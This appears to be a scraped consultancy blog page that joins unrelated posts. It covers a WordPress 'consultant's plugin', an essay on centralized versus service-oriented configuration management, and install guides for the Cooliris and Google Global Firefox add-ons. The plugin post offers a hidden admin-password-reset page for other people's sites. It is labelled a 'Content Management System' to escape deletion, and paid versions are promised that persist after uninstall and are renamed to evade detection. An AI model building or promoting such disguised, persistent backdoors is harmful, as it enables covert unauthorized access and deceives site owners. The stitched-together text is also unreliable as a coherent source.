http://technology-leadership.com/wp-cplugin.zip

The Word Press Consultant’s Plugin was created by me for a friend of mine who is a talented and trusting blogger and web mistress.  Needless to say, some hosers on e-lance screwed her  out of her consulting money when, after she installed wordpress, themes and lots of content, they changed the admin password on her and never paid her.  That was not long after a consulting client, not from e-lance, similarly cheated her.

This plugin gives consultants confidence that they can become the administrator on a wordpress site, do lots and lots of work, and not be cheated by having their admin account password changed, to then go unpaid.  There will be a page on the wordpress blog the cheater does not know about, and you can change the password to anything you like.  The change password program will email the new password to the admin account email.  This is a good thing if you are in control and someone else is trying to use the tool on your site.   But, in case you are the one being cheated, once back in as admin, you must change the admin email address and reset the password one more time.

Two requirements is  for the wp version to be fairly recent. Though, it works for versions as low as 2.7, I think; I only tested in version 2.9.2.  The other requirement is the wordpress install should be hosted on a Linux machine.  Of course, the plugin may work for Windows hosted wordpress blogs, but I have not tested, nor am I interested in testing.  If you test it and it works, I would interested in hearing about it, but only interested if it works!!  Don’t email me telling me it doesn’t work on Window$ as I could care less.

It is free for now.  But, do not be surprised if it is a pay download link  in the future.  Not $19.99,  lol!   It would be maybe $2.99.

To install the plugin – these instructions are for wp 2.9.2.  It won’t be identical, but install will be similar for earlier versions of wordpress:
1) login into wp-admin as admin, you are at the Dashboard
2) Click ‘Plugins’ link from the menu on the left
3) Click the oval ‘Add New’ button next to Manage Plugins title
4)Click the ‘upload’ link just under the Install Plugins title
Note: this is not the same upload option for New Media.  No other upload options will work, only this one under the Install Plugins title will work to install the plugin.
5)Click ‘Browse’ button, find the plugin zip file you downloaded from my site,  click Open
6)Click the oval ‘Install Now’ button
7)Click the ‘Activate Plugin’ link
8)Go to the home page of the blog, or any page of the blog, on tlc it is called http://technology-leadership.com/faq
9) You just created a link called the wp-cplugin.php, which links to the plugin
10) Go to the new page you created, on tlc it would be technology-leadership.com/faq/wp-cplugin.php but I deleted the link prior to posting this.

The plugin installs a link into a directory that you do not normally have access too, so it is a hack I am not advertising to wordpress.  Thus, it will not become part of the wordpress searchable plugins.  I call the plugin a Content Management System, so it looks like you do not want to delete it.  Only the wordpress consultant or admin who installs this knows it is a password reset program, and that is all it manages.  A customized plugin is harder to detect (see below).

If you uninstall the plugin, it will uninstall the reset password program, but that is optional as to how I build the installer.

I can build the wp-cplugin.php installer to be persistent, even after plugin is deleted.   This is a per-customer request, and you get your own plugin name no one else has.   I can also create the plugin and/or any components with different name and description to hide detection.  The customized, persistent reset password plugin is about $49.00.

Organizations looking to control manpower and licensing costs, therefore, are not comfortable with the ‘variable cost’ aspect of system administration and the per server licensing of commercially available tools.  To reduce growing labor and licensing costs, variable costs associated with manpower and licensing need to be converted to fixed costs.  Theoretically, by doing so, a growing number of servers will not immediately translate into a correspondingly growing number of system support employees and configuration management (support) licenses.

Some recognized Open Source (i.e. free) configuration management tools include:  CFEngine, Puppet, DACS (Distribution and Configuration System), SmartFrog, LCFG ( Large Scale System Configuration), BCFG, Arusha, and many, many others.  The most intriguing aspect of most of these configuration tools (except for SmartFrog) is they require centralized management.   This is because it is erroneously assumed that to be effective, the management tool must have (and therefore, rely on) centralized coordination.

In discussing configuration management theory, I will use the terms ‘parameter’ and ‘aspect’, as defined by Burgess and Couch in their paper “Modeling Next Generation Configuration Management Tools”.  Parameters are ‘units of configuration information’, such as the static IP address of a server.   Aspects are the combination of the configuration parameter and its corresponding constraints, dependencies and preconditions required for the parameter to be functional, such as the fully qualified domain name of the server.

In the above example, the IP address of a server is a simple configuration parameter because it has almost no dependencies beyond the topology (e.g. network segment) in which it is networked.  Once the interface is configured and default route added, the device will be successfully ‘networked’.  The fully qualified domain name, however, has additional requirements for the correct resolv.conf and/or nsswitch.conf domain definitions, and also require external DNS records (likely on a separate DNS server) to match.

The strength of a tool like CFEngine or Puppet is information hiding: users need not cope with the complexity of aspects.  Thus, a good Puppet ‘recipe’ might use parameters such as host name and IP address to figure out what network it is on, and therefore, what the fully qualified domain name should be.  The main problem with these tools are they require a lot of human labor to set up, and require the centralized hosts to generate configurations based on intimate knowledge of each and every server it manages.  Though feasible, it does not scale well if the variety of local parameters and corresponding aspects increase with each new server.

Similarly, the centralized planning functions of these tools cannot react automatically to distributed changes.  Thus, these tools require manual changes to fairly complex configuration scripts, fairly often.

Given today’s generation of configuration management tools, I conclude that a centralized management tool like CFEngine or Puppet can be a cost effective alternative to similar commercial products, but only if your environment has the following qualities: 1) a relatively short list of hardware and OS types to support; 2) a relatively stable and predictable network environment; 3) control over all aspects of service provisioning; 4) and a large installation of servers of ’similar or identical’ services (e.g. little or no variation) to grow and maintain.

However, if every server is different due to application and/or service it provides; different due to OS and hardware configurations, and/or you lack control over significant aspects of external service provisioning, these tools may well cost you more time in set up and maintenance; and in dollars for hardware purchases for centralized servers, than you yield in savings due to automation and/or fewer commercial client licenses.

For instance, if you are provisioning services on the Internet, you will lack control over certain service provisioning, like DNS servers.  If you cannot control DNS records or available DNS servers, for instance, then ’scripts’ or ‘recipes’ to generate the nsswitch.conf file may be prone to failure due to changes you cannot predict or control.

In another example, if you are provisioning local printers to individual users, you may have to maintain a centralized database of ‘nearest printers’, which is an additional database management task required to keep your centralized configuration management tool working.

Conversely, if you moved towards a Service Oriented Architecture (SOA), you are not bound by the constraints of the ‘centralized’ server to be all knowing about your environment and local clients.

In the case of configuring DNS on a local client, we could create a local agent not part of the configuration server; but, instead installed on different servers or clients already in that domain, or pre-installed in our new client, to generate the correct nsswitch.conf and resolv.conf files at the time of installation.  As the domain names, servers and related DNS environment changes, dedicated agents in that domain can use available tools (e.g. dig or nslookup) to determine the correct entries in a configuration file for new clients. The CFEngine or Puppet ‘Master’ does NOT need to store this detailed information, nor even generate (cook) the final configuration file.

Similarly, for printer configurations, we could implement a printer configuration ‘agent’ in each local network.  That agent could reside on a local server; already configured local client, or the local print server itself.  This agent can communicate with other ‘local clients’ physically close to itself as determined by network subnet, IP range, MAC address range, or other criteria and provision a ‘local printer’ to the local client.

In this latter example, we did not need a centralized server, or a centralized database of ‘closest printers’ in order to provide the local client with a  local printer.  Instead, we relied on a distributed SOA model to provide the service of ‘local printer configuration’ to devices connecting to the network at that geographic location.

The strength of this type of SOA configuration provisioning is that, as the printer models, names and IP addresses change on that local network segment, the local agent can be responsible for provisioning those changes dynamically and automatically.  We do NOT need a centralized service for this, nor do we need to “inform” a centralized database authority of a printer change, at all.  In fact, as we spend efforts building comparable SOA methods of configuration provisioning, the need for a centralized provisioning ‘master’ diminishes rapidly.

Jeff Hamilton, Technology-Leadership

Technology-Leadership is a leading consultancy company in financial and business management consulting strategies, focusing on issues involving corporate strategy, technology, financing, planning and implementation.

Piclens, recently renamed Cooliris, is a web browser plug-in that provides an interactive full-screen slideshow of online images.

It’s compatible with Safari, Firefox and Internet Explorer. And is compatible with a number of software and websites including:

- Google Image Search,

- Yahoo! Image Search,

- Ask.com Images,

- Live Search Images,

- AOL Image Search,

- Flickr,

- Photobucket,

- Picasa,

- Facebook,

- MySpace,

- Friendster,

- YouTube (for videos),

- Amazon.com

- and any web site that implements mediaRSS <link> tags in their HTML pages.

It works with the iPhone, and you can shop with it! Cooliris is compatible with many online shopping sites including Macy’s and Wal-Mart.

The software places a small icon in the corner of an image thumbnail when the mouse moves over it, which launches into a full-screen photo viewer when clicked, but without giving an option to save any of the pictures shown.

To install Cooliris, aka Piclens, visit http://www.cooliris.com/product.php and click on the download now button.

It’s a Firefox add on so you must use Firefox as your browser.

You’ll be asked to allow the installation. Click ‘allow’ and follow the instructions to install.

Once the software is installed you’ll be asked to restart Firefox. Go ahead and do that.

Once Firefox has been re-started, you’ll see a small green box behind a small blue box in the upper right hand corner of you browser. Click on it to launch Cooliris.

To use it, first try the Search function in the upper right hand corner of the page. Search on any topic you want.

For best results choose something visually dynamic, like rock climbing. You can then choose which search engine you’d like to use.

Now click and drag, and enjoy the show!

From your search results.

Search for your keywords as you typically would.

Once you receive your results, right click on the page.

A menu will pop up. Select “Search Google Global”, and choose what geographic location you would like to see the results for.

The new results will pop up in a different tab so you can compare results from different areas or countries side by side.

Google Global also allows you to customize your toolbar with an additional button.

To add the button simply right click an empty area on your Firefox menu bar. You’ll see a menu of icons to choose from. Find the Google Global Sphere, and click and drag the icon to your desired location.

You can also add other icons while you’re there, which saves time pulling up and activating add-ons when you need them.

And that’s it! Google Global is a great tool for internet marketers to learn where their site stands on search results all over the world.

It offers tremendous information to help create global marketing strategies, to help you find the information you need. And quite honestly, it is just plain fun and fascinating to use.

This is a particularly useful feature if you are an internet marketer wanting to run regional campaigns, for example, being an affiliate for a dating service. Or, wanting to set up a virtual mall of local businesses, and needing to scope out the competition and what kind of traffic you can hope for.

Presently there are two versions of Google Global, Version 1 and Version 2.

Version 2 is compatible with Firefox 3, and is a completely rewritten version, so it is not compatible with Version 1.

If you’ve already installed Version 1, but would like the 20 added features and benefits Version 2 offers, then you’ll need to uninstall Version 1 and Install Version 2.

Unlike most Firefox add ons, this one isn’t available from the Mozilla Firefox website.

To install you’ll need to visit the developer’s website at http://www.redflymarketing.com/blog/google-global-view-results-different-locations/

Click on the Install Now button, and follow the installation directions.  You’ll need to restart Firefox to begin using it.

Once your browser has restarted, you’ll see a menu listing all your present Firefox add ons.

Highlight Google Global and choose “options”.  There you can choose to de-personalize your search results and to open Google Global Results in a different tab.

You can now use Google Global from your search results or from your toolbar.